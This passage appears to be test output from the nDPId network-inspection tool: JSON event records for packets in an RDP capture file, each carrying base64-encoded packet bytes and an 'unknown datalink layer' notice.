+00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1326,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":433480,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1iNUAAfwYnZsCoAo6sEAK5DT3NDkeezmj5vRlBUBj4353IAAAXAwMAMAAAAAAAAAGsTjehk8gppdAxGtA2C3a10vf6c4zCKNZPW2l5kNrCCGqVd1m9W+ZxDA=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1326,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1327,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":433518,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9GehHns6dUBAf\/hmpAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1327,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02085{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1328,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":433915,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFiNkAAfwYiocCoAo6sEAK5DT3NDkeezp35vRlBUBD43yzcAAAXAwMGbwAAAAAAAAGtfgvsRmEs+2lKvrl35Qu0IR+rY0+iKPozJIi9gL7Je3+Yya04WcGyAN8C8o3BiAK9wLnWHhwceQEFwBHt+MsRJ+RHWAU+0H+Vg4Nwbi2yUo87ZkpNdQMDxx0AeYO9upgyMci7p\/DSjcviJP77AoJHDQ3hp69GVLrF0cNgc\/qNXQvANX9SR5Y+jj+omJtJUMKzxicO5+ujuqA83G3yIZySRfWjJmQGkszFbFpUjv5O0M4Mn\/HI7Vy7q7oYGMINJnfz+VSbtvR1k5s9SbYu1kTwXVp3vxSEqfzN55wDCVW\/qxl5MzaieO62sNPeK+guNh\/1eXqcWzV58g6U9OILdgV8kM6b4ebyuVYEX5Ff0IzMFx5ff8TUvlyHjKkbG+mk\/st9mI\/rufSpk4VCDJeFgVNSwDoZw8D\/OiM1S2o425t405Q4d8uOF3S\/Pidarb++QAahNNA+aGfLh9sD3Fy3We1gB5FlrsTNlgczAhrYMmbjGki5HRCtbDaFLLtjLPtXLKzeq+ZdiL12ZfdIgTd7Ge+PB0TZavk82wI8mhD8c9P2cGsrQ7ydS7wRy4AJBmBqh9MTvRUB2zpU783\/jc8eaC6UGqIM+qkwp+TkcJ2P+4Eyy83UrlLITT7fG9XeIO0VcnBl+ZZ7627+G7mXSRISfSjJ8cOhl7ecvQVIn8bu\/lXDak7\/pCXVerwIAE6n1EiR4yZCc6FR1yZzFj5YG1OX4VbjelM\/NrQBwCdT02A6w6RvcSBOZiprOTl2jdQWLaDKqeYtyaJEiMg1a69NXOE\/qB6ebqFnL\/dL+7Xfa+6ajWAM95b1GSUKjwh+Llxad70Z\/jXHNKwY9kvT\/uVoJ4RspDeICGSH\/EjDRte6helyWgrvOFiLBXZeeX1Hku3cvHn5291PbcL3Keta3Mhzd11QdRmK9TmxI9y4qBAqy59OQIK4gJu4OO7QqtVfqV8qnBq1Nu1Bxx0IiLBIuZETB0J9ryvqsSykcZyyMxAdQBgZJ7BX41Q\/yMfQ6w+Cf+yc7FG1MG\/L1SaBFA4YWGN3Ys6ttJzJ6bPkYkCUwhpAbtYX2XHju4J5dgTo3uaKkDOJmM4BT10R9qRVd9\/i9irwUtLdUJFwBkAggMmkg4law1lSX4GFN5TXJPaG9iVSA6psSCk2o77kmMD2bF7Rf2bgn2p3QpfYXCZz5uUmM37ZiNJGA8dvj8\/lkln6hFAEFh85+Gv6\/yj13HPW8R1ilUQS0IPj0LrNuZr8dOHzkCj4bmjUbj8EQA7VGJELyYvPUKyEhlB86xJUC3vJOaj038pOQMFFr\/l\/2HvOZO\/gcU7WeNKIW3x+\/cfBIavoj\/6uavAWDpa95yq+Px8+ldHzAv3BfgIi2IIbqdO6WH2tat1XnFbLAzq\/e9d0L9waHBQF9+VNphnZZARc\/CWlgtmp78HhVlg6lgkAeE\/XRoDN8bXA2fgnhklTo3Q06cgf5uMHSh4F9zeDFOR5zUORblzHlrCNIKfMMuQ\/UELULngWQ9zFDVpcTJGNaqPq2l7dngdIkQ05ClFJ1OHuexqVGLnxMon9Md83YgQ5p\/V+cPCWlCNXgMzPQYjcUw+MhnIayrujVrTXR8H7IusnXZW47TO5kXDo\/ek0bscVEjOnFWvSpK+NUh3qc5AXQFrpypqNngmN4ymPeQHpFf3USfkCCn6gkMZbDEXh"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1328,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00868{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1329,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":434032,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNiN0AAfwYmHsCoAo6sEAK5DT3NDkee05b5vRlBUBj431WwAAAElvWIpe\/TrFXMDhsgAFl6F\/eC+NGqmOvk4cGXx+YP3YLRhrEvso0mGJ3Jg\/i1kKprMtmrFQE5dCXtDLER7GbB\/HOXkcxBDZq7kkZgqPpHjSM7sMz7HftObIO4eeQsxyiZt6yZPkFvYa9MRD0c7izWeQLbi3w2JmQMQR6Dx\/zXHcqDYVUI2jtapQdGPTDQjvYAHADtmL4uN4lH9zUYp+\/eIaY0Ysq7cqwibPviDSNjSgrOuPdkknDtEvta7rITBzH3g3DVGObjh2F54g0rXJPgVwdFvzGxhhAaMNLIDzBlgAb12eBXQHeV3RY2zYCpWgDqp4s+kmxzGpm5P9hozdbpGWz1Q8GPtEvFgCCcMFHrt\/m4YqCqqF0hsZC5fIsQSvs508TUlzY++qt\/0re3dD6QC8stsXNYJcBFepPFWT+YTThr\/nvr95tw\/DGFksxuGAJwB2tTakOAgY04EePdVewVIfNqOmx2\/3dtz7EAtnQ+xpSYwZzfazVsREby"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1329,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1330,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":434075,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9GehHntURUBAf9BM\/AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1330,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02078{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1331,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":434385,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFiOEAAfwYin8CoAo6sEAK5DT3NDkee1RH5vRlBUBD430c2AAAXAwMGbwAAAAAAAAGuR5LCMru\/6USr36LG7lkyR\/2Kbogi+e8vwxK8riALXiIBwrk3zvFolRp5fchU4O15in3\/nBWZBYyRYR0C01oJ0qiOQev1zcjlDWhysA3YtdUf7IC7yuea8i9kXMPLmCvGDPiB3mrPl4so66E9qnovYKDMXrePIARatSOzc8oIv+qisk5d5yJq36pmCH+6RpGGeub8iie6VRMsNfKS4nx6s\/qS51geFBCsWD\/QZDYAZ42pw\/mdvsVuxQ3uYs\/x278yYPF0SzZ2nI6mvSpfO2OmfLZDBslZVrBMuL\/z9eqKR42BdSgwyIqkDzDMOgtH07tGQXGTyh\/hy7HhWtIJbhC8FMIK80PopFTxg95qDH+7d2kEjAv\/h94XXPC1vTFZMjYvFf0SZQFQoBhOYzpw5qbXdVGzIG6w+IBIgxpAN3\/eqzRwXJR6NY0wFVbWg0XzGwww8KLdVobTTZPIYhyWNzvLQrC2pAuqxfGruHNUz25658aPdo61qlMd2WqYBcvk7hCq63CHBoJ3Rc2ztypDDAUGT1l2bAZaGoIfj30fY9mfYDPP7w7nPkwdWLsTbqXzruFBBV8\/VAK3SA7lNFbGZ\/REhfqT++K78rdvGH2ZTEW\/L05ZIrsJ0zJ4isWIZfzIF73LInh71uhdQC0wPY9rs2NekTbwHrFZzD3KB9X+U7N+Xb0fEP1Gs06YoxDEzfW7g0Af2wCFYOim8U7CzTbnsuj0VP97n1c++CET3LJwHTQFR\/s5S3Rm\/DnZmn+yKOAmF0YWbSzSxcrie9rgLKPzTgdrbNYx3luiD4H8mqYlzbGvH8ECyDjmURXZL3XEoEB0VBkrKlfFzob5LLquXaiV04f3EpFEa4Vw7AW1GyeGFq7WeeDqK1OpTPCsU4xOOCY7c9G4BNJmbg8nseC+I\/GI1\/GQ+KSqSeaECP3DbPnn52pzpE+dye\/CYo8oD8+KoDaQn4sZ1dljeq\/Gx15yuOOCquYECFIcyiAjI2YprMd4a47xGcGhPBf5mXGavZ0UTOTcffTZsCLkDff5ieiGTa10yyTt2DLjyS5XeFcGZI4Vq7FvRap5Nrjk3djyAGzG9jDuF47W2x2Ob3Mk7NnTvyb9flK1KgL9Tk9rEv8MrZFownIoAHNgV0janmBxEh4ugb\/3W2m8+JbgUptcNa9xDmVoECZNNKKLiJeEP4A3tHQBc5WtAh9hg6TCCrYwhnLdpFfHmXnsx5+YDlWxuwrZaFoM6MDHNL2rOjlXnBsQMYrh7B+tk3wpBoB9XJ3IOnJ\/20DELy1AVfVNSWkdrOXwG4K0MXDZklroL1GjyYDQqE+zOnPSk9apBWVig2bC1P\/bwEoonEg8h7PdVxt\/i6j83Li4Rd7T1wgl8x79FSG9BQ\/S3JhDNsJkhFI6GgNBp5WWaWrYyWQB5wDpGUxtwi4bhpu11ve79m5XiOFzDgJtjx6MvixSaIC7tzGw0IkOl5B29tZQSCb6E7F3NO8iQwZCUTzny6tdICfcb3whCwKKTvmVKT6N2lbt16UF7jE0GZGq\/y4k89s2mPTUl73ZW83XcE7IubJ9Bi7KrhxGHRelyed7DGnPACwOBtV4EAig\/CZ5rIAwMAgju9iDnzsoN18BOGPLiavme88XtjiDWYYqy5wZ0jmijhC05EqCEpNoFdoj1ESW1qtQgAPWpL2R7TtJnPhl"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1331,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00862{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1332,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":434518,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNiOUAAfwYmHMCoAo6sEAK5DT3NDkee2gr5vRlBUBj432GbAAA2Rz7Am6WKB7cmZSepdufRE9m+2kWg94vYQIcNvNoNqUR2hR3myTSVWbNqsH0HItXOX2+K0c42MQLAXkHihOGHlVK2\/mInI+AxFIngKZFCbjATVqp9vAAwYYxfH41I0CyzWEshGkRDpQb06HUOs3wADbpvjPsE8LvR7Q5Pw0QW3IQHkJO5fz84CygYjxojW9GkoXGormuKw5viV5BukgI0oxFOltUgd\/AsNi9X1jtRlAeNAtBOeKyvxi6+vHVr3OsapnT2AsRpjtwu2m1cij4hTdGm+rAVAckxqQCPa1lCQqscL\/yAlxkrptru94KYIEYRAj8PIgzL0IwG8Lwwxk0A9D3hBJhES3GnaxE6tXHbMjLWMuV2LZXodlYY6KjhI4xR7+rIY1JACtmLrXCcmjVM8LW1BQ1Zz2A27Do5obDtWHGfQ+O4Zhg4JBQZ\/uTruGqeXb7vSPp5qxFxmxZAWP12DQV3A5SmI7b94t1WuO2zcWTzKE2ipn\/FoZMH"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1332,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1333,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":434565,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9GehHntuFUBAf9AzLAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1333,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02073{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1334,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":434677,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFiOkAAfwYincCoAo6sEAK5DT3NDkee24X5vRlBUBD43+dgAAAXAwMGbwAAAAAAAAGvP\/RAnvq5jBa8KXxquMk7LU2skkQWp6ckb1aw0sbIfrLL31WZg1D3sQg8JbZ0cNSFxF8zKxIzaS9HaiTsIqS+whhPoFSuLdCdXrUqdbyiT5+yPVcxIQ5n+XnaEdIxbZ9vQtjFCPGclNCg4jZYjy9WWb9KX4s78JZYcPj80xClsnKlLVUY\/WmVpR0OwjxM9UKVY70\/cHC2PLKXbBndxpLPBLXAEa\/ijHUsx+0EjfJwgV9OHQ1v3eF0w2UZhg0H6x+u6MDUyLX8bjxW1bKZIYETpqXz8CadvGLoN4MHnMK4RMg1sDJQDNzwCg7kEZyJQej3R+6Mb2NYmP2gMUOssy94NiQWUmWPk5821Pr5WpW7faXf6qqw6APaaKJIIpNXxcor1Qbh2zWDlfcUjffivyvE1hCJnUPGePU31IR3Wbj7KjfiWUY+5Z0kWo1u+kY6ccsG7XKjc8gakTjJXYwc+Lm0YPTMoEdKsmBbjaOdoKBw\/rNaJzdB93dh04mucd++xwTo6uhxFFxGbfA9J4NVvYb15q3b4ACRbq0aFY3libGHnbn3x1lDTDtjjJxRD7a9+o5LpayClbo50U7L8Q0O0r872EQw+SRYkjDC1ACZPgR6pRFYHR3gRMnoQRaKAVdbKnm0uVEzIkFpJuB2GJEvst6a4kxGVVEkISi9ZjfF34rzCtCxY9D+r6QxKB6N579ok0foBGh7dhtyXtq1VaF3vWjG7G2XuTIa7lEcZXncq5TwV93tBYV8x+83A2b5\/fJtzpLaKOgU8YRaB16DezxEkRUcUTEpmsvix4wvZ20f9vMWxNbCVs9YGQ1eWNR\/AGjLTRy8\/p0pPPB1T7ZKC2Gu77V0gDz\/crstnPATLLWt217uCVV4\/D4ATZKjxynRQXOKMNsmw3+B6dzr+Dgr\/ijOARfsz52E+HKXoYVmIST1QRVl0QXjV8nKsUuEVdn6SzOtf7ZMDxq+jK29Dh06knEDvpuLUSTnkT\/PFyGHkWe1fbK794CKS8cK9UKhRCS40p\/N2WrOHexguVKpaGo\/vX7IHjeSOJItb4JQoQZIqGxx750UD4ZmmreLgmcwSpVW3oNKn55uSfEOY8XozcvQjnYp2F7g8wJIHvktquMJwlxNUg3WYIhl5C19CcrZ939fp\/URkOB5pciNkTnozzQocbi9zoRk20\/cKYLVjowB0ISibaUltdi+zoFe2faVddoFN7P9aJ94TXtX3XCk7CENsQJ4hT0jPmMnnlQAkJLJbq3aPCqPgQOTbKlhBz42q0J0PXCAaZsCYsKxKdO4DnrnCKAU0Do0xD0LgwbMtbnsg0su35m3qzQ1hyZRThjO69zHEjto292YwOXeBBjfUob6QNoHfdrSlAf0TQldlCOuPJHlmrL2mPksZySEfBEA1r5bekPzpKKs1\/dFT1BEJ7pQp6\/gDVjs5\/BOvwgXold0iN71LfE7jz9GbNUBPC5sPWNSzUdMqlAWkx+9oa6mLWvXcQv\/sLpC41cJrALHZZJsyt2Ppk5JcEst5uIyT+V8dQpgENPH0DlRjcyVRQgaElL19oYRN\/R7J0M0gVt6OeKDkt1fBQNkgcsslvkaSo+4ImsP735xLCg0MDebMUQzdLtQWTAYRFa7U5wShU+J0lv4k\/YtKjcOn+dD6QY191eSxc7YQxLzpDpbiQDTAKQZia0niFjv"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1334,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00867{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1335,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":434707,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNiO0AAfwYmGsCoAo6sEAK5DT3NDkee4H75vRlBUBj433w2AACg20B4w17PBqbIT5VZop3aI1805hRp19xYGEj96MS\/K0Rn9slT3M0r+NaIW8LwTVC37+vFa8x9ub7+NhE0dC2e7XNEA2PhORkR6UVFeKXPB3Nfd+exnt8HfsPhFhrx\/9i006xGjxzrKVXZE12j2JWPVSxhYqdOSaRkLfJup1OYZn0fKd1dV6ifV6LD\/n8aXJgktHLq4OB8lUjxKbklOt6\/FMUpfqfu1RkPE6okmdv1Y7OcxPvoUgFHAjEme0\/7oWZP1WSuJgC1lqy7xTpbSJu0f8IOyp2jCLAMDvRjKylv+u\/t9EZfSRmWfLQWPjHa70IpBylmJBEd7SD1EikrZJyeFAC7hImh8JGiTql+MYh7bIOs\/ZyJ0j+pZnwE8bn2nzAliu0rhvQDbD\/sQnmB2v6+jDp+WqIeCzGKme\/J+EDW1VP4JXHC+fFF810PrN8vFUwMHG9RuV+twQhHYWb6LxHgz3jlHaotQ3jmvMux9tMldc6B+ONXpuco\/cPx"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1335,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1336,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":434738,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9GehHnuH5UBAf9AZXAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1336,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00425{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1337,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":434881,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1iPEAAfwYnX8CoAo6sEAK5DT3NDkee4fn5vRlBUBj43\/qEAAAXAwMAMAAAAAAAAAGwXZBBim780\/zKoUXnxq4cQoZwzbnS6DaxoeFHOJ6orns1npEgv6NbRg=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1337,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1338,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":434928,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9GehHnuIuUBAf\/gYYAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1338,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1339,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":435161,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9GehHnuIuUBggAJC4AAAXAwMAMOAIO32NJwwWEbwLD6Hzq7q8QlARRZK0aexIr4hwlr\/KPhj1Bdad0nTcFWnxqJBgog=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1339,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02072{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1340,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":435171,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFiPUAAfwYimsCoAo6sEAK5DT3NDkee4i75vRlBUBD432Z8AAAXAwMGbwAAAAAAAAGx8NxRF9zyLPp7ajvNzRBKavbYcGwArm0pXpr5EBi\/OBgqWIFgSFKgSGizdHzWAJ2ExwcKUkIUdVd9+xB+x\/yHIwOq8hvka4wiya3pcs4TJNOHzYXDXOJNclASwnb3gwUPTp6RVbSyUTnUvN8L8tfrVn0MtsoSnMVzQ\/whbBHnBaCvw28E\/Bj5UJQRGRS1kHzJNR1QnkNxQfL\/UA3ESBhMj2e++KfSdy0cnvQOhvQcilOnElz6iarnsFmVbvNHhID5aLVVSe5bnjTNqCCRaBLUj7ROk4gWQKfWgtmcsV0bUZgNuFaxRHlv7qTLbxFdvZEAOFwyDh3QWlEd+TLegcyRjujZB5rZkaXwriAXtP2d5H9BTln6dTQdG6O6OH0Q0bm+SSKbSWGhfESrZ2DCVMNYUdqcmVH0WazmHl3aQ\/IjbJxA0a1VIeSVuH\/SAZi9Wn34Q880jUA1SzP811yWt5Y8\/I5GXzbdLoxlUfrrxCM3oPP6+8aFNlBSBz1oDtUtT0YSH6VRJDsYUlDOkBCddFNX367xZvyaZjPhMxW1p6iZjrWb52JiBNI5m4A3sXNGor3rrJTGedvsGQpz5pvljsUKvnJ\/xErGIxQLn2oprD85YUWMfD5\/HYVGUnE4QN82922I5LP4qrFJ3ieACDclVs5paFkDg6s1PIjAq95QTjjhorS9rcLvTX5TEucW77GcnCVjA1XpEHd39dyMR9dL4mW6r8ZlqHIOH+l1THLsEKn5kg0BlbUAXLTjNAZ\/o7WeG1lJ8jOWy0zwheBRvHQFJygMKLb+91kZtzd4j4di3HEINd1LUgSxq6LbKfSXeDIm\/nA+W0sL2WeNGjdUi7G8dnZFjmGLZeSrngXd7euuQiRKPT7FbqxsQ8d1LTQUmMj9aWl1j2gcScz\/U3KUdE8Qu2gP8xTTvIpmm2PpSwGXGHzaDElJbj5NI9aC3+Mia2rPjNDdlh6RiMWUTN+DSqtHx\/KBbQNaQW\/Pnm3ylMxU0R+fcTnCBRIJZrnrYICZRYlv6tYN5pwlvu4PdMY\/Syd27eBwKTfsR8JQkdWvVvjF+eXRM6iHl9hHgPepQa1RHnrRy07OBozOwxMa7K7io\/o0tHpR24j7Sa1TD8FVBUwfNF7xnt3s\/ER1BjrOhL9lLLvgkwyuV5uzne599D2c1BF+YGrXqMOUHCEDWP+8y9Q6gAZGXg+EV2wY4LScYc+3n6fDbNKXjHASFpLSZczAJopFSyhnrL8xcN+D1gDXW8JdlXlLqOfqrf2frC3bjHpqrunF+hzy0vn6+4\/O3Txh8JTinGBu0LALH7mpl\/3E7vNZZC53KkAiioVN5qOER1MzT6mKSmXFR2vHrKDLjR3YYYjhBsq5qaUgmWfdAJIoiT+LqcoqdcokJ0BCVEA6ngDijfKrIIkLqGa6+xbN1RudRGexFyFJaiXxIpN9iXzhnp4IKBb7zbvGG3A3HpqCmNqyMyMvrretsDyRYTY7FoXwlGCxToKLvWKGVakiNd7PqBI6Wc4NXfGlQF3M78R1Ag1lQPp353ggNx5pXYGKSsICZB+UQgXhd7l8r+e+u0iB1rp58s4YIm6hX9suO\/wos6ZygvlH3XVjFHY039YhobPesNeFjxdUGW88fjIXQ1RtnzMyyGIesHtmMpoH9YakIfw1zyOrd+jchPBh4pLbryYQtyIG"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1340,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00862{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1341,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":435214,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNiPkAAfwYmF8CoAo6sEAK5DT3NDkee5yf5vRlBUBj43+euAAAypSYcoehwzsvsyETahp7++aagFJqGToP6y\/Vg0VME4ZXf6oCnZsCUsOAUbWGt7eaZZgO9EwMwT6DchCsNeP9N4vwVJEbUy0uBpP+JxIa\/JUsVw2ZgPRG+bE0Rw4gJJWPLA+PCd7aj002V47xSimdNIRKFQ99sZPiZLyN1W27OwTtVe9YNHoRd4F7EOPlg+km9ihwFvRnGh6bWgPe+qTnMUZu9\/MwKlW0g3HfOeImxnuCGOUqBd3TudV5sJFYTdveRvdle4\/IptRUh\/AjWjHgC2RZYv2P1Q38GE3e25MiV8IuBs1NohkmAeuyv1GZ1AO+wmDYYXdBv5DDaz9qMG1IQYWXLGDrdebTk7PbIPZ9xyT0zLRiobc4yZXcnsfiGOKsfXmKWUUndaYpmuE8zveyaSIOtk5BHOizmnakvvL65F52wcJtCuyMvQv+jjNA+74ty2xUDWLcIlkp9Q7HWcbEYy2QEjOux2rkK8CDyWCUUiYh5mkr2xAWSDE7B"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1341,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1342,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":435341,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9Gh1HnuiiUBAf9P94AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1342,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02076{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1343,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":435639,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFiP0AAfwYimMCoAo6sEAK5DT3NDkee6KL5vRlBUBD435qWAAAXAwMGbwAAAAAAAAGyRy+8EK4LkOTkAekFkkQw8J42jRbV7eMuC\/hMkzd\/Slc9NkShRSRxNbAYv3ibVq\/CfIuDC4NknhvUq2SytfUZR29TofKojuOFWAsqvbzkKkJxV\/JMo5RRAgFS6h2TugGhtjoWrMih8PDwdS4BVjOGw7Lg4GVip3YlZrg8wENmwh+ChiNIfSphlMFE\/LEyin1Ipuush4QN4oOwBypcVSewHISNqb0C3FHQKhYECdmEeC9DDLTVlsJyIWw2eNsb7TktajGTTE\/xOjbeG7Ohm+UM8LPA1boNMc745NNjnRyC0jKdq4wmDc1aMSdAxsfw6Gxav3V2pMzl95clIaMv+nK9c6YQh+rk9HwBM\/H4BHRnGD6s4pazbF7MXcrz3PpR4xuMdqinFYtzP9ZPOWXyf1OA+1biV1FpuyqY25qH1muZTpW42Jqm6r8rDA1jOP6DTE+1W5Qg8adYtKOWqbn9ULreKkBnQT72g6yTk0MOoCSkQ3EEZNGTaX2skDOdbfotignaDYqP6zjgB84539S34oHuexJ1LhkL2mlqTa+LtVoQw\/OD\/HGU37qEAear1jOog5\